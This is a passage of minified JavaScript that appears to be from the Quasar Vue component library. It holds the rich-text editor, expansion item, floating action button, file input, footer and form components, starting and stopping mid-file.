                    "overflow-auto": this.inFullscreen || this.maxHeight
                }]
            },
            attrs: function() {
                return !0 === this.disable ? {
                    "aria-disabled": ""
                } : !0 === this.readonly ? {
                    "aria-readonly": ""
                } : void 0
            }
        },
        data: function() {
            return {
                editWatcher: !0,
                editLinkUrl: null,
                isViewingSource: !1
            }
        },
        watch: {
            value: function(t) {
                !0 === this.editWatcher ? this.__setContent(t) : this.editWatcher = !0
            }
        },
        methods: {
            __onInput: function() {
                if (!0 === this.editWatcher && void 0 !== this.$refs.content) {
                    var t = this.isViewingSource ? this.$refs.content.innerText : this.$refs.content.innerHTML;
                    t !== this.value && (this.editWatcher = !1,
                    this.$emit("input", t))
                }
            },
            __onKeydown: function(t) {
                if (this.$emit("keydown", t),
                !0 !== t.ctrlKey || !0 === J(t))
                    return this.refreshToolbar(),
                    void (this.$q.platform.is.ie && this.$nextTick(this.__onInput));
                var e = t.keyCode
                  , i = this.keys[e];
                if (void 0 !== i) {
                    var s = i.cmd
                      , n = i.param;
                    S(t),
                    this.runCmd(s, n, !1)
                }
            },
            __onClick: function(t) {
                this.refreshToolbar(),
                this.$emit("click", t)
            },
            __onBlur: function() {
                if (void 0 !== this.$refs.content) {
                    var t = this.$refs.content
                      , e = t.scrollTop
                      , i = t.scrollHeight;
                    this.__offsetBottom = i - e
                }
                !0 !== this.$q.platform.is.ie && this.caret.save(),
                this.$emit("blur")
            },
            __onFocus: function() {
                var t = this;
                this.$nextTick(function() {
                    void 0 !== t.$refs.content && void 0 !== t.__offsetBottom && (t.$refs.content.scrollTop = t.$refs.content.scrollHeight - t.__offsetBottom)
                })
            },
            __onMouseup: function(t) {
                this.caret.save(),
                void 0 !== this.qListeners.mouseup && this.$emit("mouseup", t)
            },
            __onKeyup: function(t) {
                this.caret.save(),
                void 0 !== this.qListeners.keyup && this.$emit("keyup", t)
            },
            __onTouchend: function(t) {
                this.caret.save(),
                void 0 !== this.qListeners.touchend && this.$emit("touchend", t)
            },
            runCmd: function(t, e, i) {
                var s = this;
                void 0 === i && (i = !0),
                this.focus(),
                this.caret.restore(),
                this.caret.apply(t, e, function() {
                    s.focus(),
                    s.caret.save(),
                    !0 !== s.$q.platform.is.ie && !0 !== s.$q.platform.is.edge || s.$nextTick(s.__onInput),
                    i && s.refreshToolbar()
                })
            },
            refreshToolbar: function() {
                var t = this;
                setTimeout(function() {
                    t.editLinkUrl = null,
                    t.$forceUpdate()
                }, 1)
            },
            focus: function() {
                void 0 !== this.$refs.content && this.$refs.content.focus()
            },
            getContentEl: function() {
                return this.$refs.content
            },
            __setContent: function(t) {
                void 0 !== this.$refs.content && (this.isViewingSource ? this.$refs.content.innerText = t : this.$refs.content.innerHTML = t)
            }
        },
        created: function() {
            !1 === i && (document.execCommand("defaultParagraphSeparator", !1, "div"),
            this.defaultFont = window.getComputedStyle(document.body).fontFamily)
        },
        mounted: function() {
            this.caret = new Gn(this.$refs.content,this),
            this.__setContent(this.value),
            this.refreshToolbar()
        },
        render: function(t) {
            var e;
            if (this.hasToolbar) {
                var s = [];
                s.push(t("div", {
                    key: "qedt_top",
                    staticClass: "q-editor__toolbar row no-wrap scroll-x",
                    class: this.toolbarBackgroundClass
                }, Un(t, this))),
                null !== this.editLinkUrl && s.push(t("div", {
                    key: "qedt_btm",
                    staticClass: "q-editor__toolbar row no-wrap items-center scroll-x",
                    class: this.toolbarBackgroundClass
                }, function(t, e, i) {
                    if (e.caret) {
                        var s = e.toolbarColor || e.toolbarTextColor
                          , n = e.editLinkUrl
                          , o = function() {
                            e.caret.restore(),
                            n !== e.editLinkUrl && document.execCommand("createLink", !1, "" === n ? " " : n),
                            e.editLinkUrl = null,
                            !0 === i && e.$nextTick(e.__onInput)
                        };
                        return [t("div", {
                            staticClass: "q-mx-xs",
                            class: "text-" + s
                        }, [e.$q.lang.editor.url + ": "]), t(Fn, {
                            key: "qedt_btm_input",
                            staticClass: "q-ma-none q-pa-none col q-editor-input",
                            props: {
                                value: n,
                                color: s,
                                autofocus: !0,
                                borderless: !0,
                                dense: !0
                            },
                            on: {
                                input: function(t) {
                                    n = t
                                },
                                keydown: function(t) {
                                    if (!0 !== J(t))
                                        switch (t.keyCode) {
                                        case 13:
                                            return w(t),
                                            o();
                                        case 27:
                                            w(t),
                                            e.caret.restore(),
                                            e.editLinkUrl && "https://" !== e.editLinkUrl || document.execCommand("unlink"),
                                            e.editLinkUrl = null
                                        }
                                }
                            }
                        }), Wn(t, [t(be, {
                            key: "qedt_btm_rem",
                            attrs: {
                                tabindex: -1
                            },
                            props: Object.assign({}, e.buttonProps, {
                                label: e.$q.lang.label.remove,
                                noCaps: !0
                            }),
                            on: {
                                click: function() {
                                    e.caret.restore(),
                                    document.execCommand("unlink"),
                                    e.editLinkUrl = null,
                                    !0 === i && e.$nextTick(e.__onInput)
                                }
                            }
                        }), t(be, {
                            key: "qedt_btm_upd",
                            props: Object.assign({}, e.buttonProps, {
                                label: e.$q.lang.label.update,
                                noCaps: !0
                            }),
                            on: {
                                click: o
                            }
                        })])]
                    }
                }(t, this, this.$q.platform.is.ie))),
                e = t("div", {
                    key: "toolbar_ctainer",
                    staticClass: "q-editor__toolbars-container"
                }, s)
            }
            var n = Object.assign({}, this.qListeners, {
                input: this.__onInput,
                keydown: this.__onKeydown,
                click: this.__onClick,
                blur: this.__onBlur,
                focus: this.__onFocus,
                mouseup: this.__onMouseup,
                keyup: this.__onKeyup,
                touchend: this.__onTouchend
            });
            return t("div", {
                style: {
                    height: !0 === this.inFullscreen ? "100vh" : null
                },
                class: this.classes,
                attrs: this.attrs
            }, [e, t("div", {
                ref: "content",
                staticClass: "q-editor__content",
                style: this.innerStyle,
                class: this.innerClass,
                attrs: {
                    contenteditable: this.editable,
                    placeholder: this.placeholder
                },
                domProps: i ? {
                    innerHTML: this.value
                } : void 0,
                on: n
            })])
        }
    })
      , ro = t.extend({
        name: "QItemLabel",
        mixins: [Mt],
        props: {
            overline: Boolean,
            caption: Boolean,
            header: Boolean,
            lines: [Number, String]
        },
        computed: {
            classes: function() {
                return {
                    "q-item__label--overline text-overline": this.overline,
                    "q-item__label--caption text-caption": this.caption,
                    "q-item__label--header": this.header,
                    ellipsis: 1 === parseInt(this.lines, 10)
                }
            },
            style: function() {
                if (void 0 !== this.lines && parseInt(this.lines, 10) > 1)
                    return {
                        overflow: "hidden",
                        display: "-webkit-box",
                        "-webkit-box-orient": "vertical",
                        "-webkit-line-clamp": this.lines
                    }
            }
        },
        render: function(t) {
            return t("div", {
                staticClass: "q-item__label",
                style: this.style,
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , ao = t.extend({
        name: "QSlideTransition",
        props: {
            appear: Boolean,
            duration: {
                type: Number,
                default: 300
            }
        },
        methods: {
            __begin: function(t, e, i) {
                t.style.overflowY = "hidden",
                void 0 !== e && (t.style.height = e + "px"),
                t.style.transition = "height " + this.duration + "ms cubic-bezier(.25, .8, .50, 1)",
                this.animating = !0,
                this.done = i
            },
            __end: function(t, e) {
                t.style.overflowY = null,
                t.style.height = null,
                t.style.transition = null,
                this.__cleanup(),
                e !== this.lastEvent && this.$emit(e)
            },
            __cleanup: function() {
                this.done && this.done(),
                this.done = null,
                this.animating = !1,
                clearTimeout(this.timer),
                clearTimeout(this.timerFallback),
                void 0 !== this.el && this.el.removeEventListener("transitionend", this.animListener),
                this.animListener = null
            }
        },
        beforeDestroy: function() {
            this.animating && this.__cleanup()
        },
        render: function(t) {
            var e = this;
            return t("transition", {
                props: {
                    css: !1,
                    appear: this.appear
                },
                on: mt(this, "tr", {
                    enter: function(t, i) {
                        var s = 0;
                        e.el = t,
                        !0 === e.animating ? (e.__cleanup(),
                        s = t.offsetHeight === t.scrollHeight ? 0 : void 0) : e.lastEvent = "hide",
                        e.__begin(t, s, i),
                        e.timer = setTimeout(function() {
                            t.style.height = t.scrollHeight + "px",
                            e.animListener = function(i) {
                                Object(i) === i && i.target !== t || e.__end(t, "show")
                            }
                            ,
                            t.addEventListener("transitionend", e.animListener),
                            e.timerFallback = setTimeout(e.animListener, 1.1 * e.duration)
                        }, 100)
                    },
                    leave: function(t, i) {
                        var s;
                        e.el = t,
                        !0 === e.animating ? e.__cleanup() : (e.lastEvent = "show",
                        s = t.scrollHeight),
                        e.__begin(t, s, i),
                        e.timer = setTimeout(function() {
                            t.style.height = 0,
                            e.animListener = function(i) {
                                Object(i) === i && i.target !== t || e.__end(t, "hide")
                            }
                            ,
                            t.addEventListener("transitionend", e.animListener),
                            e.timerFallback = setTimeout(e.animListener, 1.1 * e.duration)
                        }, 100)
                    }
                })
            }, Lt(this, "default"))
        }
    })
      , lo = {
        true: "inset",
        item: "item-inset",
        "item-thumbnail": "item-thumbnail-inset"
    }
      , co = {
        xs: 2,
        sm: 4,
        md: 8,
        lg: 16,
        xl: 24
    }
      , uo = t.extend({
        name: "QSeparator",
        mixins: [Dt, Mt],
        props: {
            spaced: [Boolean, String],
            inset: [Boolean, String],
            vertical: Boolean,
            color: String,
            size: String
        },
        computed: {
            orientation: function() {
                return !0 === this.vertical ? "vertical" : "horizontal"
            },
            classPrefix: function() {
                return " q-separator--" + this.orientation
            },
            insetClass: function() {
                return !1 !== this.inset ? this.classPrefix + "-" + lo[this.inset] : ""
            },
            classes: function() {
                return "q-separator" + this.classPrefix + this.insetClass + (void 0 !== this.color ? " bg-" + this.color : "") + (!0 === this.isDark ? " q-separator--dark" : "")
            },
            style: function() {
                var t = {};
                if (void 0 !== this.size && (t[!0 === this.vertical ? "width" : "height"] = this.size),
                !1 !== this.spaced) {
                    var e = !0 === this.spaced ? co.md + "px" : this.spaced in co ? co[this.spaced] + "px" : this.spaced
                      , i = !0 === this.vertical ? ["Left", "Right"] : ["Top", "Bottom"];
                    t["margin" + i[0]] = t["margin" + i[1]] = e
                }
                return t
            },
            attrs: function() {
                return {
                    role: "separator",
                    "aria-orientation": this.orientation
                }
            }
        },
        render: function(t) {
            return t("hr", {
                staticClass: "q-separator",
                class: this.classes,
                style: this.style,
                attrs: this.attrs,
                on: Object.assign({}, this.qListeners)
            })
        }
    })
      , ho = "q:expansion-item:close"
      , po = t.extend({
        name: "QExpansionItem",
        mixins: [Dt, Wt, Ce],
        props: {
            icon: String,
            label: String,
            labelLines: [Number, String],
            caption: String,
            captionLines: [Number, String],
            dense: Boolean,
            expandIcon: String,
            expandedIcon: String,
            expandIconClass: [Array, String, Object],
            duration: Number,
            headerInsetLevel: Number,
            contentInsetLevel: Number,
            expandSeparator: Boolean,
            defaultOpened: Boolean,
            expandIconToggle: Boolean,
            switchToggleSide: Boolean,
            denseToggle: Boolean,
            group: String,
            popup: Boolean,
            headerStyle: [Array, String, Object],
            headerClass: [Array, String, Object]
        },
        data: function() {
            return {
                showing: void 0 !== this.value ? this.value : this.defaultOpened
            }
        },
        watch: {
            showing: function(t) {
                !0 === t && void 0 !== this.group && this.$root.$emit(ho, this)
            },
            group: function(t, e) {
                void 0 !== t && void 0 === e ? this.$root.$on(ho, this.__eventHandler) : void 0 === t && void 0 !== e && this.$root.$off(ho, this.__eventHandler)
            }
        },
        computed: {
            classes: function() {
                return "q-expansion-item--" + (!0 === this.showing ? "expanded" : "collapsed") + " q-expansion-item--" + (!0 === this.popup ? "popup" : "standard")
            },
            contentStyle: function() {
                var t;
                if (void 0 !== this.contentInsetLevel)
                    return (t = {})["padding" + (!0 === this.$q.lang.rtl ? "Right" : "Left")] = 56 * this.contentInsetLevel + "px",
                    t
            },
            isClickable: function() {
                return !0 === this.hasRouterLink || !0 !== this.expandIconToggle
            },
            expansionIcon: function() {
                return void 0 !== this.expandedIcon && !0 === this.showing ? this.expandedIcon : this.expandIcon || this.$q.iconSet.expansionItem[!0 === this.denseToggle ? "denseIcon" : "icon"]
            },
            activeToggleIcon: function() {
                return !0 !== this.disable && (!0 === this.hasRouterLink || !0 === this.expandIconToggle)
            }
        },
        methods: {
            __onHeaderClick: function(t) {
                !0 !== this.hasRouterLink && this.toggle(t),
                this.$emit("click", t)
            },
            __toggleIconKeyboard: function(t) {
                13 === t.keyCode && this.__toggleIcon(t, !0)
            },
            __toggleIcon: function(t, e) {
                !0 !== e && void 0 !== this.$refs.blurTarget && this.$refs.blurTarget.focus(),
                this.toggle(t),
                S(t)
            },
            __eventHandler: function(t) {
                this !== t && this.group === t.group && this.hide()
            },
            __getToggleIcon: function(t) {
                var e = {
                    staticClass: "q-focusable relative-position cursor-pointer" + (!0 === this.denseToggle && !0 === this.switchToggleSide ? " items-end" : ""),
                    class: this.expandIconClass,
                    props: {
                        side: !0 !== this.switchToggleSide,
                        avatar: this.switchToggleSide
                    }
                }
                  , i = [t(Et, {
                    staticClass: "q-expansion-item__toggle-icon",
                    class: void 0 === this.expandedIcon && !0 === this.showing ? "q-expansion-item__toggle-icon--rotated" : void 0,
                    props: {
                        name: this.expansionIcon
                    }
                })];
                return !0 === this.activeToggleIcon && (Object.assign(e, {
                    attrs: {
                        tabindex: 0
                    },
                    on: mt(this, "inpExt", {
                        click: this.__toggleIcon,
                        keyup: this.__toggleIconKeyboard
                    })
                }),
                i.unshift(t("div", {
                    ref: "blurTarget",
                    staticClass: "q-expansion-item__toggle-focus q-icon q-focus-helper q-focus-helper--rounded",
                    attrs: {
                        tabindex: -1
                    }
                }))),
                t(Hn, e, i)
            },
            __getHeader: function(t) {
                var e;
                void 0 !== this.$scopedSlots.header ? e = this.$scopedSlots.header().slice() : (e = [t(Hn, [t(ro, {
                    props: {
                        lines: this.labelLines
                    }
                }, [this.label || ""]), this.caption ? t(ro, {
                    props: {
                        lines: this.captionLines,
                        caption: !0
                    }
                }, [this.caption]) : null])],
                this.icon && e[!0 === this.switchToggleSide ? "push" : "unshift"](t(Hn, {
                    props: {
                        side: !0 === this.switchToggleSide,
                        avatar: !0 !== this.switchToggleSide
                    }
                }, [t(Et, {
                    props: {
                        name: this.icon
                    }
                })]))),
                !0 !== this.disable && e[!0 === this.switchToggleSide ? "unshift" : "push"](this.__getToggleIcon(t));
                var i = {
                    ref: "item",
                    style: this.headerStyle,
                    class: this.headerClass,
                    props: {
                        dark: this.isDark,
                        disable: this.disable,
                        dense: this.dense,
                        insetLevel: this.headerInsetLevel
                    }
                };
                if (!0 === this.isClickable) {
                    var s = !0 === this.hasRouterLink ? "nativeOn" : "on";
                    i.props.clickable = !0,
                    i[s] = Object.assign({}, this.qListeners, {
                        click: this.__onHeaderClick
                    }),
                    !0 === this.hasRouterLink && Object.assign(i.props, this.routerLinkProps)
                }
                return t(Nn, i, e)
            },
            __getContent: function(t) {
                var e = this
                  , i = [this.__getHeader(t), t(ao, {
                    props: {
                        duration: this.duration
                    },
                    on: mt(this, "slide", {
                        show: function() {
                            e.$emit("after-show")
                        },
                        hide: function() {
                            e.$emit("after-hide")
                        }
                    })
                }, [t("div", {
                    staticClass: "q-expansion-item__content relative-position",
                    style: this.contentStyle,
                    directives: [{
                        name: "show",
                        value: this.showing
                    }]
                }, Lt(this, "default"))])];
                return this.expandSeparator && i.push(t(uo, {
                    staticClass: "q-expansion-item__border q-expansion-item__border--top absolute-top",
                    props: {
                        dark: this.isDark
                    }
                }), t(uo, {
                    staticClass: "q-expansion-item__border q-expansion-item__border--bottom absolute-bottom",
                    props: {
                        dark: this.isDark
                    }
                })),
                i
            }
        },
        render: function(t) {
            return t("div", {
                staticClass: "q-expansion-item q-item-type",
                class: this.classes
            }, [t("div", {
                staticClass: "q-expansion-item__container relative-position"
            }, this.__getContent(t))])
        },
        created: function() {
            void 0 !== this.group && this.$root.$on(ho, this.__eventHandler)
        },
        beforeDestroy: function() {
            void 0 !== this.group && this.$root.$off(ho, this.__eventHandler)
        }
    })
      , fo = ["top", "right", "bottom", "left"]
      , mo = {
        props: {
            type: {
                type: String,
                default: "a"
            },
            outline: Boolean,
            push: Boolean,
            flat: Boolean,
            unelevated: Boolean,
            color: String,
            textColor: String,
            glossy: Boolean,
            square: Boolean,
            padding: String,
            label: {
                type: [String, Number],
                default: ""
            },
            labelPosition: {
                type: String,
                default: "right",
                validator: function(t) {
                    return fo.includes(t)
                }
            },
            externalLabel: Boolean,
            hideLabel: {
                type: Boolean
            },
            labelClass: [Array, String, Object],
            labelStyle: [Array, String, Object],
            disable: Boolean
        },
        computed: {
            formClass: function() {
                return "q-fab--form-" + (!0 === this.square ? "square" : "rounded")
            },
            stacked: function() {
                return !1 === this.externalLabel && ["top", "bottom"].includes(this.labelPosition)
            },
            labelProps: function() {
                if (!0 === this.externalLabel) {
                    var t = null === this.hideLabel ? !1 === this.showing : this.hideLabel;
                    return {
                        action: "push",
                        data: {
                            staticClass: "q-fab__label q-tooltip--style q-fab__label--external q-fab__label--external-" + this.labelPosition + (!0 === t ? " q-fab__label--external-hidden" : ""),
                            style: this.labelStyle,
                            class: this.labelClass
                        }
                    }
                }
                return {
                    action: ["left", "top"].includes(this.labelPosition) ? "unshift" : "push",
                    data: {
                        staticClass: "q-fab__label q-fab__label--internal q-fab__label--internal-" + this.labelPosition + (!0 === this.hideLabel ? " q-fab__label--internal-hidden" : ""),
                        style: this.labelStyle,
                        class: this.labelClass
                    }
                }
            }
        }
    }
      , vo = ["up", "right", "down", "left"]
      , go = ["left", "center", "right"]
      , _o = t.extend({
        name: "QFab",
        mixins: [mo, Ce],
        provide: function() {
            var t = this;
            return {
                __qFabClose: function(e) {
                    t.hide(e),
                    t.$refs.trigger && t.$refs.trigger.$el && t.$refs.trigger.$el.focus()
                }
            }
        },
        props: {
            icon: String,
            activeIcon: String,
            hideIcon: Boolean,
            hideLabel: {
                default: null
            },
            direction: {
                type: String,
                default: "right",
                validator: function(t) {
                    return vo.includes(t)
                }
            },
            persistent: Boolean,
            verticalActionsAlign: {
                type: String,
                default: "center",
                validator: function(t) {
                    return go.includes(t)
                }
            }
        },
        data: function() {
            return {
                showing: !0 === this.value
            }
        },
        computed: {
            hideOnRouteChange: function() {
                return !0 !== this.persistent
            },
            classes: function() {
                return "q-fab--align-" + this.verticalActionsAlign + " " + this.formClass + (!0 === this.showing ? " q-fab--opened" : "")
            }
        },
        render: function(t) {
            var e = [];
            return !0 !== this.hideIcon && e.push(t("div", {
                staticClass: "q-fab__icon-holder"
            }, [t(Et, {
                staticClass: "q-fab__icon absolute-full",
                props: {
                    name: this.icon || this.$q.iconSet.fab.icon
                }
            }), t(Et, {
                staticClass: "q-fab__active-icon absolute-full",
                props: {
                    name: this.activeIcon || this.$q.iconSet.fab.activeIcon
                }
            })])),
            "" !== this.label && e[this.labelProps.action](t("div", this.labelProps.data, [this.label])),
            t("div", {
                staticClass: "q-fab z-fab row inline justify-center",
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, [t("div", {
                staticClass: "q-fab__actions flex no-wrap inline",
                class: "q-fab__actions--" + this.direction
            }, Lt(this, "default")), t(be, {
                ref: "trigger",
                class: this.formClass,
                props: Object.assign({}, this.$props, {
                    noWrap: !0,
                    stack: this.stacked,
                    align: void 0,
                    icon: void 0,
                    label: void 0,
                    noCaps: !0,
                    fab: !0
                }),
                on: mt(this, "tog", {
                    click: this.toggle
                })
            }, Pt(e, this, "tooltip"))])
        }
    })
      , bo = {
        start: "self-end",
        center: "self-center",
        end: "self-start"
    }
      , yo = Object.keys(bo)
      , wo = t.extend({
        name: "QFabAction",
        mixins: [Mt, mo],
        props: {
            icon: {
                type: String,
                default: ""
            },
            anchor: {
                type: String,
                validator: function(t) {
                    return yo.includes(t)
                }
            },
            to: [String, Object],
            replace: Boolean
        },
        inject: {
            __qFabClose: {
                default: function() {
                    console.error("QFabAction needs to be child of QFab")
                }
            }
        },
        computed: {
            classes: function() {
                var t = bo[this.anchor];
                return this.formClass + (void 0 !== t ? " " + t : "")
            },
            onEvents: function() {
                return Object.assign({}, this.qListeners, {
                    click: this.click
                })
            }
        },
        methods: {
            click: function(t) {
                this.__qFabClose(),
                this.$emit("click", t)
            }
        },
        render: function(t) {
            var e = [];
            return "" !== this.icon && e.push(t(Et, {
                props: {
                    name: this.icon
                }
            })),
            "" !== this.label && e[this.labelProps.action](t("div", this.labelProps.data, [this.label])),
            t(be, {
                class: this.classes,
                props: Object.assign({}, this.$props, {
                    noWrap: !0,
                    stack: this.stacked,
                    icon: void 0,
                    label: void 0,
                    noCaps: !0,
                    fabMini: !0
                }),
                on: this.onEvents
            }, Pt(e, this, "default"))
        }
    })
      , So = t.extend({
        name: "QFile",
        mixins: [kn, Tn, li, $n],
        props: {
            value: !0 === i ? {} : [File, FileList, Array],
            append: Boolean,
            useChips: Boolean,
            displayValue: [String, Number],
            tabindex: {
                type: [String, Number],
                default: 0
            },
            counterLabel: Function,
            inputClass: [Array, String, Object],
            inputStyle: [Array, String, Object]
        },
        data: function() {
            return {
                dnd: !1
            }
        },
        computed: {
            innerValue: function() {
                return Object(this.value) === this.value ? "length"in this.value ? Array.from(this.value) : [this.value] : []
            },
            selectedString: function() {
                return this.innerValue.map(function(t) {
                    return t.name
                }).join(", ")
            },
            totalSize: function() {
                return ct(this.innerValue.reduce(function(t, e) {
                    return t + e.size
                }, 0))
            },
            counterProps: function() {
                return {
                    totalSize: this.totalSize,
                    filesNumber: this.innerValue.length,
                    maxFiles: this.maxFiles
                }
            },
            computedCounter: function() {
                if (void 0 !== this.counterLabel)
                    return this.counterLabel(this.counterProps);
                var t = this.maxFiles;
                return this.innerValue.length + (void 0 !== t ? " / " + t : "") + " (" + this.totalSize + ")"
            },
            inputAttrs: function() {
                return Object.assign({}, {
                    tabindex: -1,
                    type: "file",
                    title: "",
                    accept: this.accept,
                    capture: this.capture,
                    name: this.nameProp
                }, this.qAttrs, {
                    id: this.targetUid,
                    disabled: !0 !== this.editable
                })
            },
            isAppending: function() {
                return !0 === this.multiple && !0 === this.append
            }
        },
        methods: {
            removeAtIndex: function(t) {
                var e = this.innerValue.slice();
                e.splice(t, 1),
                this.__emitValue(e)
            },
            removeFile: function(t) {
                var e = this.innerValue.findIndex(t);
                e > -1 && this.removeAtIndex(e)
            },
            __emitValue: function(t) {
                this.$emit("input", !0 === this.multiple ? t : t[0])
            },
            __onKeyup: function(t) {
                13 === t.keyCode && this.pickFiles(t)
            },
            __getFileInput: function() {
                return this.$refs.input
            },
            __addFiles: function(t, e) {
                var i = this.__processFiles(t, e, this.innerValue, this.isAppending);
                void 0 !== i && this.__emitValue(!0 === this.isAppending ? this.innerValue.concat(i) : i)
            },
            __getControl: function(t) {
                var e = {
                    ref: "target",
                    staticClass: "q-field__native row items-center cursor-pointer",
                    attrs: {
                        tabindex: this.tabindex
                    }
                };
                return !0 === this.editable && (e.on = mt(this, "native", {
                    dragover: this.__onDragOver,
                    keyup: this.__onKeyup
                })),
                t("div", e, [this.__getInput(t)].concat(this.__getSelection(t)))
            },
            __getControlChild: function(t) {
                return this.__getDnd(t, "file")
            },
            __getSelection: function(t) {
                var e = this;
                return void 0 !== this.$scopedSlots.file ? this.innerValue.map(function(t, i) {
                    return e.$scopedSlots.file({
                        index: i,
                        file: t,
                        ref: e
                    })
                }) : void 0 !== this.$scopedSlots.selected ? this.$scopedSlots.selected({
                    files: this.innerValue,
                    ref: this
                }) : !0 === this.useChips ? this.innerValue.map(function(i, s) {
                    return t(Pi, {
                        key: "file-" + s,
                        props: {
                            removable: e.editable,
                            dense: !0,
                            textColor: e.color,
                            tabindex: e.tabindex
                        },
                        on: mt(e, "rem#" + s, {
                            remove: function() {
                                e.removeAtIndex(s)
                            }
                        })
                    }, [t("span", {
                        staticClass: "ellipsis",
                        domProps: {
                            textContent: i.name
                        }
                    })])
                }) : [t("div", {
                    style: this.inputStyle,
                    class: this.inputClass,
                    domProps: {
                        textContent: void 0 !== this.displayValue ? this.displayValue : this.selectedString
                    }
                })]
            },
            __getInput: function(t) {
                var e = {
                    ref: "input",
                    staticClass: "q-field__input fit absolute-full cursor-pointer",
                    attrs: this.inputAttrs,
                    domProps: this.formDomProps,
                    on: mt(this, "input", {
                        change: this.__addFiles
                    })
                };
                return !0 === this.multiple && (e.attrs.multiple = !0),
                t("input", e)
            }
        },
        created: function() {
            this.fieldClass = "q-file q-field--auto-height",
            this.type = "file"
        }
    })
      , xo = t.extend({
        name: "QFooter",
        mixins: [Mt],
        inject: {
            layout: {
                default: function() {
                    console.error("QFooter needs to be child of QLayout")
                }
            }
        },
        props: {
            value: {
                type: Boolean,
                default: !0
            },
            reveal: Boolean,
            bordered: Boolean,
            elevated: Boolean,
            heightHint: {
                type: [String, Number],
                default: 50
            }
        },
        data: function() {
            return {
                size: parseInt(this.heightHint, 10),
                revealed: !0,
                windowHeight: n || this.layout.container ? 0 : window.innerHeight
            }
        },
        watch: {
            value: function(t) {
                this.__update("space", t),
                this.__updateLocal("revealed", !0),
                this.layout.__animate()
            },
            offset: function(t) {
                this.__update("offset", t)
            },
            reveal: function(t) {
                !1 === t && this.__updateLocal("revealed", this.value)
            },
            revealed: function(t) {
                this.layout.__animate(),
                this.$emit("reveal", t)
            },
            "layout.scroll": function() {
                this.__updateRevealed()
            },
            "layout.height": function() {
                this.__updateRevealed()
            },
            size: function() {
                this.__updateRevealed()
            },
            "$q.screen.height": function(t) {
                !0 !== this.layout.container && this.__updateLocal("windowHeight", t)
            }
        },
        computed: {
            fixed: function() {
                return !0 === this.reveal || this.layout.view.indexOf("F") > -1 || !0 === this.layout.container
            },
            containerHeight: function() {
                return !0 === this.layout.container ? this.layout.containerHeight : this.windowHeight
            },
            offset: function() {
                if (!0 !== this.value)
                    return 0;
                if (!0 === this.fixed)
                    return !0 === this.revealed ? this.size : 0;
                var t = this.layout.scroll.position + this.containerHeight + this.size - this.layout.height;
                return t > 0 ? t : 0
            },
            hidden: function() {
                return !0 !== this.value || !0 === this.fixed && !0 !== this.revealed
            },
            revealOnFocus: function() {
                return !0 === this.value && !0 === this.hidden && !0 === this.reveal
            },
            classes: function() {
                return (!0 === this.fixed ? "fixed" : "absolute") + "-bottom" + (!0 === this.bordered ? " q-footer--bordered" : "") + (!0 === this.hidden ? " q-footer--hidden" : "") + (!0 !== this.value ? " q-layout--prevent-focus" : "") + (!0 !== this.value && !0 !== this.fixed ? " hidden" : "")
            },
            style: function() {
                var t = this.layout.rows.bottom
                  , e = {};
                return "l" === t[0] && !0 === this.layout.left.space && (e[!0 === this.$q.lang.rtl ? "right" : "left"] = this.layout.left.size + "px"),
                "r" === t[2] && !0 === this.layout.right.space && (e[!0 === this.$q.lang.rtl ? "left" : "right"] = this.layout.right.size + "px"),
                e
            },
            onEvents: function() {
                return Object.assign({}, this.qListeners, {
                    focusin: this.__onFocusin,
                    input: y
                })
            }
        },
        render: function(t) {
            var e = Pt([t(Zi, {
                props: {
                    debounce: 0
                },
                on: mt(this, "resize", {
                    resize: this.__onResize
                })
            })], this, "default");
            return !0 === this.elevated && e.push(t("div", {
                staticClass: "q-layout__shadow absolute-full overflow-hidden no-pointer-events"
            })),
            t("footer", {
                staticClass: "q-footer q-layout__section--marginal",
                class: this.classes,
                style: this.style,
                on: this.onEvents
            }, e)
        },
        created: function() {
            this.layout.instances.footer = this,
            !0 === this.value && this.__update("size", this.size),
            this.__update("space", this.value),
            this.__update("offset", this.offset)
        },
        beforeDestroy: function() {
            this.layout.instances.footer === this && (this.layout.instances.footer = void 0,
            this.__update("size", 0),
            this.__update("offset", 0),
            this.__update("space", !1))
        },
        methods: {
            __onResize: function(t) {
                var e = t.height;
                this.__updateLocal("size", e),
                this.__update("size", e)
            },
            __update: function(t, e) {
                this.layout.footer[t] !== e && (this.layout.footer[t] = e)
            },
            __updateLocal: function(t, e) {
                this[t] !== e && (this[t] = e)
            },
            __updateRevealed: function() {
                if (!0 === this.reveal) {
                    var t = this.layout.scroll
                      , e = t.direction
                      , i = t.position
                      , s = t.inflexionPosition;
                    this.__updateLocal("revealed", "up" === e || i - s < 100 || this.layout.height - this.containerHeight - i - this.size < 300)
                }
            },
            __onFocusin: function(t) {
                !0 === this.revealOnFocus && this.__updateLocal("revealed", !0),
                this.$emit("focusin", t)
            }
        }
    })
      , Co = t.extend({
        name: "QForm",
        mixins: [Mt],
        props: {
            autofocus: Boolean,
            noErrorFocus: Boolean,
            noResetFocus: Boolean,
            greedy: Boolean
        },
        computed: {
            onEvents: function() {
                return Object.assign({}, this.qListeners, {
                    submit: this.submit,
                    reset: this.reset
                })
            }
        },
        mounted: function() {
            this.validateIndex = 0,
            !0 === this.autofocus && this.focus()
        },
        methods: {
            validate: function(t) {
                var e = this
                  , i = []
                  , s = "boolean" == typeof t ? t : !0 !== this.noErrorFocus;
                this.validateIndex++;
                for (var n = this.getValidationComponents(), o = function(t, i) {
                    e.$emit("validation-" + (!0 === t ? "success" : "error"), i)
                }, r = function(t) {
                    var r = n[t]
                      , a = r.validate();
                    if ("function" == typeof a.then)
                        i.push(a.then(function(t) {
                            return {
                                valid: t,
                                comp: r
                            }
                        }, function(t) {
                            return {
                                valid: !1,
                                comp: r,
                                error: t
                            }
                        }));
                    else if (!0 !== a) {
                        if (!1 === e.greedy)
                            return o(!1, r),
                            !0 === s && "function" == typeof r.focus && r.focus(),
                            {
                                v: Promise.resolve(!1)
                            };
                        i.push({
                            valid: !1,
                            comp: r
                        })
                    }
                }, a = 0; a < n.length; a++) {
                    var l = r(a);
                    if (l)
                        return l.v
                }
                if (0 === i.length)
                    return o(!0),
                    Promise.resolve(!0);
                var c = this.validateIndex;
                return Promise.all(i).then(function(t) {
                    if (c === e.validateIndex) {
                        var i = t.filter(function(t) {
                            return !0 !== t.valid
                        });
                        if (0 === i.length)
                            return o(!0),
                            !0;
                        var n = i[0]
                          , r = n.valid
                          , a = n.comp;
                        return o(!1, a),
                        !0 === s && !0 !== r && "function" == typeof a.focus && a.focus(),
                        !1
                    }
                })
            },
            resetValidation: function() {
